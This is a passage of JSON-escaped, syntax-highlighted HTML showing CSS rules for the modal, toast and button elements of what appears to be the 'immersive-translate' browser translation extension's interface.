style=\"color:#66d9ef\"\u003etext-align\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-toast-hidden\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efixed\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ez-index\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e2147483647\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eheight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eoverflow\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: rgb(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: rgba(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e0.4\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-content\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#fefefe\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e40\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e350\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-family\u003c/span\u003e: system-ui, \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eapple-system, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Segoe UI\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Roboto\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Ubuntu\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Cantarell\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Noto Sans\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#66d9ef\"\u003esans-serif\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Apple Color Emoji\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Segoe UI Emoji\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Segoe UI Symbol\u0026#34;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Noto Color Emoji\u0026#34;\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003erelative\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003emedia\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003escreen\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003emax-width\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e768px\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-content\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e50\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e!important\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-content-in-input\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emax-width\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e500\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-content-in-input\u003c/span\u003e .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-body\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-align\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eleft\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emax-height\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eunset\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-title\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-align\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-weight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e700\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#333333\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-body\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-align\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-weight\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e400\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#333333\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin-top\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e@\u003cspan style=\"color:#66d9ef\"\u003emedia\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003escreen\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003emax-width\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e768px\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  .\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-body\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003emax-height\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e250\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eoverflow-y\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eauto\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-close\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#666666\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eposition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eabsolute\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eright\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etop\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-weight\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ebold\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-close\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003ehover\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-close\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003efocus\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etext-decoration\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-modal-footer\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eflex-wrap\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ewrap\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin-top\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e24\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewidth\u003c/span\u003e: fit-content;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecolor\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#fff\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#ea4c89\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003enone\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efont-size\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003emargin\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003epadding\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eborder-radius\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ecursor\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003epointer\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003etransition\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0.3\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003es\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eease\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn-container\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003edisplay\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003eflex\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eflex-direction\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecolumn\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ealign-items\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ejustify-content\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003ecenter\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003egap\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003epx\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003ehover\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ebackground-color\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e#f082ac\u003c/span\u003e;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e.\u003cspan style=\"color:#a6e22e\"\u003eimmersive-translate-btn\u003c/span\u003e:\u003cspan style=\"color:#a6e22e\"\u003edisabled\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan 